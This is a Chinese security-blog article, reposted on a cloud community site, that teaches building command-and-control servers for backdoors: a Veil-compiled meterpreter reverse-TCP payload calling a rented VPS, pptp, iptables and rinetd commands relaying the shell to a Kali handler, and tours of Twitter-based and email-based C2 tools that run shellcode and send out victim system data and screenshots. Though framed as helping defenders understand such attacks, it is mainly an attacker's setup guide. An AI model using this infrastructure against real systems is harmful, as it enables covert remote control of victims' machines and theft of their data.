前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >隐秘通讯与跳板?C&C服务器究竟是怎么一回事

隐秘通讯与跳板?C&C服务器究竟是怎么一回事

作者头像
FB客服
发布2018-02-08 17:14:17
3.3K0
发布2018-02-08 17:14:17
举报
文章被收录于专栏:FreeBufFreeBuf

C&C服务器,其全称为command and control server。我们在诸多文章中曾看到过,C&C服务器不仅可以为攻击者提供便利的资源管理平台,也可以保障其个人隐私安全。今天,我们就通过一个几个C&C服务器的搭建实验教程让大家了解一下什么是C&C服务器,以了解如何应对利用C&C的攻击行为。

无C&C服务器通讯

故事

*本文中涉及的故事纯属虚构,如有雷同实数巧合

某天,某攻击者通过固定的外网IP控制了一个处在外网的用户。两台设备的交流完全是点对点交流的,并且交流方式是主动式交流。

由于该用户由购买了几台电脑,一个IP已经不够用了,所以就在家里面配置了一台路由器。虽然用户可以访问外网,但是这样就导致用户所有的电脑设备都处在一个内网中。攻击者没有办法控制用户的电脑,所以又入侵了他的路由器做了一个端口转发,然后继续控制该用户。

V** C&C服务器通讯

故事

随后该攻击者发现自己的外网IP属于动态IP地址。只要一断线,IP地址就会改变。为了能够持久的进行监听会话,攻击者租用了一台VPS服务器,在上面搭建了一个pptp代理,随后用iptable做了端口转发,并且将交流方式改为反弹式交流。

技术解析

有的时候,地方宽带运营商会有各种各样的规则,这样将会导致控制端的网络非常不稳定。记得我在2012年的时候是使用电信的宽带对后门进行控制,但是电信给我的IP属于一个内网IP。随后打电话给客服改成公网IP,但是这个IP是动态的,每天都在变化。这样复杂的网络环境,攻击者需要一个稳定和安全的C&C服务器。

以下为本次实验的环境:

win 10 一台 Kali Linux 一台 Linode VPS 一个

在这里,我们先使用Kali Linux作为控制端,win 10则为病毒感染的设备,而VPS则作为一个C&C服务器。首先在Linode上租用一台 VPS,我们可以看到这台VPS的公网IP为139.162.5.124。

为了方便教程,我使用Veil编译一个meterpreter的payload。其设置如下

监听IP:139.162.5.124(VPS的公网IP) 监听端口:1024(随意填写) Payload种类:python/meterpreter/rev_tcp 加密方式:Pyherion

然后需要对VPS进行一个简单的设置,通过SSH连接VPS,然后进行update。

随后安装pptp的基本组件

对/etc/pptpd.conf文件进行编辑,添加Local IP地址和remote IP地址。

代码语言:javascript
复制
localip 192.168.0.1remoteip 192.168.0.2

然后编辑/etc/ppp/chap-secrets文件,设置pptp的账号和密码。

代码语言:javascript
复制
freebuf pptpd freebuf *

然后再编辑/etc/ppp/options文件,将ms-dns设置为根服务器地址,如8.8.8.8之类的。

再继续编辑/etc/ppp/options文件,添加net.ipv4.ip_forward=1,其意义是使IP能够转发。保存后可以使用sysctl -p检查一下。

输入命令/etc/init.d/pptpd restart,让pptp服务重启,然后安装iptable,并且设置相关命令。

iptable安装:

apt-get install iptables

iptable设置:

1. iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -o eth0 -j MASQUERADE 2. iptables-save > /etc/iptables.pptp 3. cd /etc/network/if-up.d/ 4. vi iptables

代码语言:javascript
复制
写入以下内容#!/bin/shiptables-restore < /etc/iptables.pptp

5. chmod +x /etc/network/if-up.d/iptables

到目前这一步pptp已经可以连接到外网了,但是还不够,我们需要对其进行端口转发。大家可以使用iptable继续来做端口转发,或者使用rinetd之类的端口转发工具。

安装rinetd:

sudo apt-get install rinetd

然后编辑/etc/rinetd.conf文件,写入0.0.0.0 1204 192.168.0.2 1204。其意义是把所有通过1024端口连接本机的IP映射到内网IP中的1024端口。

保存之后可以重启rinetd服务器,或者通过pkill命令关闭rinetd,然后通过该命令”rinetd -c /etc/rinetd.conf“调用刚才保存的conf文件开启rinetd程序。

对Kali中PPTP的连接做一下更改,主要是使用MPPE点对点加密连接,并且不发送PPP响应数据包。

V**连接没什么问题

然后打开Metasploit,找到handler,并且对其进行设置。

监听IP:192.168.0.2 监听端口:1024

在win10客户端激活木马,然后可以看到handler和payload已经成功搭建起了会话。

也许教程有点绕,但是技术逻辑很清晰。首先是后门持续对VPS进行监听,而VPS则是把被监听端口的流量转发到自己的内网IP上,而客户端在连接到V**后对这个内网IP进行监听即可。

如下图所示:

Web C&C服务器通信

故事

慢慢的,VPS服务器商场发现攻击者把一台VPS服务器当作C&C服务器。这个攻击者就思考得改变一下数据交流的方式,于是用微博当作C&C服务器。后门程序和控制程序内置爬虫脚本,通过XPath参数或者其它参数抓取微博中的内容,将其当作控制命令。

技术解析

这个最能拿来当作例子的应该是twitter,实际上攻击者依靠twitter当作C&C服务器早就不是新闻,比如2015年新闻《俄罗斯攻击者是如何滥用twitter作为Hammertoss C&C服务器的?》。还有的攻击者入侵Discuz论坛,把该论坛当作其C&C服务器。这种开放式的C&C有些是直接分析HTML代码,将特定的参数值当作命令进行处理,有些则是读取json数据等。

在GitHub上公布了一个开源的twitter后门程序,其项目名称叫做twittor。

项目地址:Twittor

这个项目的主要文件如下

implant.py requirements.txt twittor.py

看GitHub的官方设置,我们是到Twitter中创建一个application,并且通过pip安装requirement.txt里面的一些组件。

创建applocation还好理解,因为在implant.py文件中,它需要twitter的username,token和secret等参数来发送推文。

至于requirements.txt中只有一个python的第三方库需要安全,就是tweepy库。这个库主要功能是和twitter的API建立通讯。

观察implant.py,该文件调用了以下模块

from tweepy import Stream from tweepy import OAuthHandler from tweepy import API from tweepy.streaming import StreamListener from uuid import getnode as get_mac import ctypes import json import threading import subprocess import base64 import platform

tweepy我们已经说过了,是关于twitter API通讯模块,而json模块主要是对json进行解析。而uuid模块主要是获取目标机器的MAC地址的。ctypes库主要是提供和C语言兼容的数据类型,可以很方便地调用C DLL中的函数,这样可以很方便和meterpreter兼容起来。该文件还调用了threading库,这样可以进行多线程任务。同时也调用了subprocess,这样可以创建多个子线程。base64库主要是对数据进行base64位转码,比如中文等等之类的。而platform库主要是查看其操作系统的类型,版本号等系统信息。

先创建twitter的key和access token。

然后开启可读可写权限

把各种token和secret填写到payload和handler内。

但是运行的时候却报错了。

google上有人说到,tweepy项目的某个人原本想用update_status做一个开始的连接测试,以保证自己编译的代码可以正常访问google API。但是在tweepy开发的过程中,不注意把这个参数作为了一个首要条件,导致所有凡是要调用tweepy库发推的人必须要先验证update_status。

只能在twiitor.py里面调用一下tweepy,然后写入api.update_status(status=m),不过测试的时候还是爆出相同的错误。

但是当我运行twittor.py的时候的确是可以收到信息的,这个就尴尬了。

google搜索没有结果,于是慢慢查看官方文档,最终找到了问题的出处。原来twitter官方已经不允许使用direct_message命令,同时也表示一个user token不允许在第三方平台登陆。

而我们代码内刚好就有一个direct_messages命令。估计twitter最近也是被twitter僵尸网络折磨怕了,才会出现相关规则。

精力有限,如果要让这个C&C上线,需要查看twitter官方文档,重新编写代码了。这个C&C的精华之处在于它把所有的所有的数据转换成base64位进行传播,并且可以插入任意shellcode的数据片到内存值中。也就是说,当该后门被激活的时候,你甚至可以插入meterpreter的shellcode。这个功能的核心代码为以下部分:

具体的实现功能如下图所示:

如果有人要重新编写这个C&C,一定要加上这个功能啊!

Email C&C服务器通讯

故事

但是好景不长,有些攻击者发现这个微博号一直发一些奇怪的内容,深度挖掘之后发现这个微博号是一个C&C服务器。于是攻击者决定要搞一个绝对安全的C&C服务器,于是该攻击者决定在后门程序内加入smtp连接代码。从此该攻击者有了快乐开心的“抓鸡”生活。

技术解析

在“油管”上看到某个人录制的视频,代码也非常简单,很适合教学,于是便引用他的代码来进行讲解。他的后面程序是基于python来编写的。

文件下载下来后,发现有两个主要程序一个主要目录。

implant.py:payload gcat.py:控制端 data目录:数据存放路径

我们先看看implant.py,在1至15行我们可以看到这个后门程序调用了以下的python模块。

以下是gcat.py调用的模块。模块功能我不做描述了,请自行google。但是有几个模块是十分重要的,就是emai, imaplib和json模块。这里主要是负责处理email的管理,连接,以及编码和解码邮件json数据。

两个模块都有以下四个主要常量,分别是邮箱号,密码,smtp服务器地址,和smtp端口。

然后我们一边操作一遍讲解相关代码吧。我们在这里是使用Veil-Evasion 的auxiliary/pyinstaller_wrapper组件进行编译。

PYTHON_SOURCE填写上implant.py的路径。

文件名我就叫C&C吧,然后选择默认的编译方式。

编译好后我复制到windows系统上,然后双击运行。

这时email收到了一份邮件,里面有我的系统进程,系统版本等详细信息。

通过payload代码中第504行开始(sendEmail Class),我们可以知道这里就是发送邮件的地方。首先该程序会以这个会话的ID为发件人发一封邮件到payload设置的邮箱里面。我们可以确定整个程序编译是没有任何问题的。

继续往下看看控制端程序(gcat.py)。从235行开始,我们可以知道它的全部命令。

往上继续看,原来这个data目录主要是存储屏幕截图的。

但是当我准备输入-list的时候出错了。连接居然超时了,这个很不正常啊!重新浏览了两个python脚本的代码,都正确啊。

当时我的内心是大写的崩溃。不怕代码出错误,就怕出了错误不知道在哪里。

Google的时候发现了这么一个东西。OMG!我设置的两个账号都是QQ和163的,原来是这个原因。

后面得知Gmail没问题。做做实验还可以,要实际使用就不行了,因为Gmail在国内早被墙了。要解决这个问题也可以,就是用php脚本进行编译,因为QQ,163等对于php的邮箱模块支持没什么问题。这里就不继续讲解了,文章主要是做一个演示的作用。

最后附上GitHub项目地址:Email C&C服务器相关代码

至此这篇以C&C为主题的“故事”就结束了。实际上以上我提到的几个是C&C服务器只是非常基础的几个,还有URI C&C,Tor C&C,C&C of C&C,IRC C&C等,有时候我甚至有考虑过用QQ来做C&C。除了交流平台的众多不同外,还有交流的加密不同。

*文章原创作者: ArthurKiller,未经许可禁止转载

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2016-09-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 无C&C服务器通讯
    • 故事
    • V** C&C服务器通讯
      • 故事
        • 技术解析
        • Web C&C服务器通信
          • 故事
            • 技术解析
            • Email C&C服务器通讯
              • 故事
                • 技术解析
                相关产品与服务
                弹性公网 IP
                弹性公网 IP(Elastic IP,EIP)是可以独立购买和持有,且在某个地域下固定不变的公网 IP 地址,可以与 CVM、NAT 网关、弹性网卡和高可用虚拟 IP 等云资源绑定,提供访问公网和被公网访问能力;还可与云资源的生命周期解耦合,单独进行操作;同时提供多种计费模式,您可以根据业务特点灵活选择,以降低公网成本。
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档